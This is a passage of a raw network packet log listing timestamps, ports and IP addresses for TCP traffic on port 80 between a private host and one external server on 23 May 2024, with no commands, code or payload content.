May 23, 2024 23:33:09.797528982 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.797550917 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.797561884 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.797585011 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.797617912 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.797632933 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.797650099 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.797660112 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.797682047 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.797692060 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.797760963 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.797775984 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.797795057 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.797811985 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.797828913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.797842026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.797863007 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.797873974 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.797895908 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.797910929 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.797943115 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.798424006 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.798458099 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.798475981 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.798507929 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.798512936 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.798546076 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.798559904 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.798578978 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.798590899 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.798612118 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.798624039 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.798645020 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.798657894 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.798677921 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.798690081 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.798713923 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.798723936 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.798747063 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.798759937 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.798780918 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.798793077 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.798816919 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.798825026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.798863888 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.799278021 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.799312115 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.799330950 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.799344063 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.799355984 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.799377918 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.799390078 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.799412012 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.799426079 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.799444914 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.799458981 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.799479008 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.799494028 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.799527884 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.800020933 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.800054073 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.800077915 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.800086021 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.800096989 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.800120115 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.800132036 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.800153017 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.800163984 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.800185919 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.800214052 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.800216913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.800232887 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.800245047 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.800261021 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.800265074 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.800276995 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.800287008 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.800292015 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.800302029 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.800311089 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.800318003 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.800326109 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.800337076 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.800352097 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.800371885 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.800827026 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.800842047 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.800857067 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.800870895 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.800878048 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.800887108 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.800890923 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.800901890 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.800916910 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.800916910 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.800934076 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.800940990 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.800949097 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.800978899 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.800978899 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.800997972 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.801448107 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.801496983 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.805530071 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.805543900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.805557966 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.805572987 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.805588007 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.805666924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.805666924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.805666924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.806287050 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.806302071 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.806422949 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.806422949 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.807794094 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.807840109 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.807846069 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.807881117 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.807895899 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.807948112 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.807987928 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.808003902 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.808029890 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.808048010 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.808089972 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.808108091 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.808140039 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.808156013 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.815032005 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.815177917 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.894414902 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.894501925 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.894512892 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.894557953 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.894567013 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.894593000 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.894608974 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.894632101 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.894644022 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.894666910 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.894681931 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.894704103 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.894716024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.894747972 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.895360947 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.895411968 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.895416021 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.895451069 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.895463943 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.895487070 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.895498037 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.895535946 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.895750046 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.895801067 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.895802021 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.895836115 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.895848989 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.895869017 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.895878077 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.895903111 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.895915985 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.895936966 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.895973921 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.895991087 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.896018982 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.896051884 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.896064997 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.896085024 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.896092892 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.896120071 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.896127939 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.896152973 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.896167040 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.896187067 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.896199942 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.896220922 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.896236897 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.896260977 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.897294998 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.897329092 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.897347927 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.897361994 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.897367001 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.897394896 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.897403002 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.897428989 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.897440910 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.897463083 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.897475958 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.897495985 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.897511005 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.897538900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.897542000 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.897588968 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.897589922 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.897624016 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.897634983 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.897656918 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.897665024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.897691011 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.897705078 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.897726059 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.897732973 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.897759914 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.897773981 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.897808075 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.898030043 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.898063898 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.898081064 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.898097038 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.898106098 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.898129940 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.898139954 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.898163080 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.898176908 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.898196936 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.898212910 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.898230076 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.898237944 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.898263931 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.898278952 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.898296118 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.898312092 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.898329020 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.898338079 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.898364067 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.898377895 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.898397923 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.898411036 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.898431063 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.898444891 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.898477077 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.898751974 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.898797989 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.898804903 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.898839951 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.898854017 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.898878098 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.898880005 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.898910999 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.898926020 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.898945093 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.898958921 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.898977995 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.898988008 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.899010897 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.899024963 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.899044991 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.899058104 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.899079084 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.899091959 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.899108887 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.899127007 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.899142027 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.899153948 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.899174929 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.899183035 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.899216890 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.901658058 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.901674032 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.901688099 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.901701927 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.901707888 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.901716948 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.901721001 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.901734114 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.901747942 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.901757956 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.901762962 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.901767015 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.901787043 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.901794910 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.901803017 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.901807070 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.901818991 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.901824951 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.901834011 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.901846886 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.901850939 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.901856899 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.901865959 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.901876926 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.901881933 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.901889086 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.901897907 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.901911020 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.901911974 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.901920080 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.901927948 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.901937008 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.901942968 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.901957989 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.901962042 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.901972055 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.901973963 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.901982069 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.901990891 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.901997089 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.902007103 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.902014017 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.902021885 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.902034998 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.902045965 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.902065039 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.902205944 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.902262926 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.902574062 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.902590036 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.902602911 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.902617931 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.902623892 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.902632952 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.902636051 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.902650118 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.902659893 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.902664900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.902679920 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.902683020 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.902695894 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.902705908 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.902710915 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.902725935 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.902729034 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.902739048 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.902741909 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.902757883 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.902769089 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.902772903 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.902787924 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.902790070 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.902797937 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.902803898 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.902820110 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.902831078 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.902851105 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.903214931 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.903230906 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.903244972 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.903263092 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.903280020 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.939346075 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.939433098 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.985104084 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.985121012 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.985136032 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.985150099 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.985169888 CEST	80	49733	185.172.128.82	192.168.2.4
